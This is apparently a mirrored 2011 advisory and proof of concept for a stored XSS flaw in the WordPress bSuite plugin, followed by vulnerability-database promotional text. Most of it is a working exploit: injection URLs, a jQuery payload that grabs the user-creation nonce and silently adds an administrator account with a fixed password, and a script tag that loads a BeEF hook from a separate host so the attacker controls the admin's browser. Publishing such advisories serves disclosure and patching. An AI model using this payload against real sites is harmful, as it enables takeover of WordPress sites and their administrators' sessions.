`Original advisory:
http://www.ihteam.net/advisory/bsuite-wordpress-permanent-xss/
*WordPress bSuite <= 4.0.7 Permanent XSS -> Add Admin*
*Download link:* http://wordpress.org/extend/plugins/bsuite/
*Author contact:* 29/06/2011
*POC published:* 11/07/2011
Plugin is out-of-date, last update on 2009, so this is just a POC that
show how
to made the XSS more useful
*FIX:* Add htmlspecialchars to output
*Bug found by:* IHTeam
*Follow us on Twitter! @IHTeam <http://twitter.com/IHTeam>*
*CHECK BSUITE:*
http://192.168.1.100/wordpress/plugins/bsuite/js/bsuite.js
*PERMANENT XSS POC:*
You can inject XSS in different way, for example:
http://192.168.1.100/wordpress/?s=<h2>XSSED</h2>
or directly in URL:
http://192.168.1.100/wordpress/?p=1&<h1>XSSED</h1>
Now, when admin enter in bSuite panel, will see the XSSED code
<http://www.ihteam.net/wp-content/uploads/bsuite_XSSED.jpeg>
*XSS TO REMOTE ADMIN ADD:
*We will use beef <http://beefproject.com/>to do that part. So:
1. Run beef on you local machine
2. Enable auto-run that code:
jQuery(â<div>â, {
id: âtestbeefâ
}).appendTo(â#screen-meta-linksâ);
jQuery.get(âuser-new.phpâ, function(data) {
jQuery(â#testbeefâ).html(data);
var nonce=jQuery(â#_wpnonce_create-userâ).val();
jQuery(â#testbeefâ).html(ââ);
jQuery.post(âuser-new.phpâ, {
â_wp_http_refererâ: â/wordpress/wp-admin/user-new.phpâ,
â_wpnonce_create-userâ: nonce,
action: âcreateuserâ,
createuser: âAdd New Userâ,
email: â[email protected]â,
first_name: ââ,
last_name: ââ,
pass1: â123123helloâ,
pass2: â123123helloâ,
role: âadministratorâ,
url: ââ,
user_login: âhax0râ
});
});
We make 2 request to //wordpress/wp-admin/user-new.php/ because we need
to grab
/_wpnonce_create-user/ value.
1. First create a new div with ID /testbeef/
2. Request user-new.php and append content to the DIV
3. Grab _wpnonce_create-user value to nonce variable
4. Clean the DIV content;
5. Make a POST request to user-new.php with the correct values
Review the code to change _wp_http_referer, pass1, pass2 and user_login
of the
POST request.
Now itâs time to inject the beef control script in bSuite like this:
http://192.168.1.100/s=<script
src=âhttp://192.168.1.102/beef/hook/beefmagic.js.phpâ></script>
You may wait 1h to 5h for bSuit refresh. It will result in new admin with
username: /haxor/ and password: /123123hello/
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation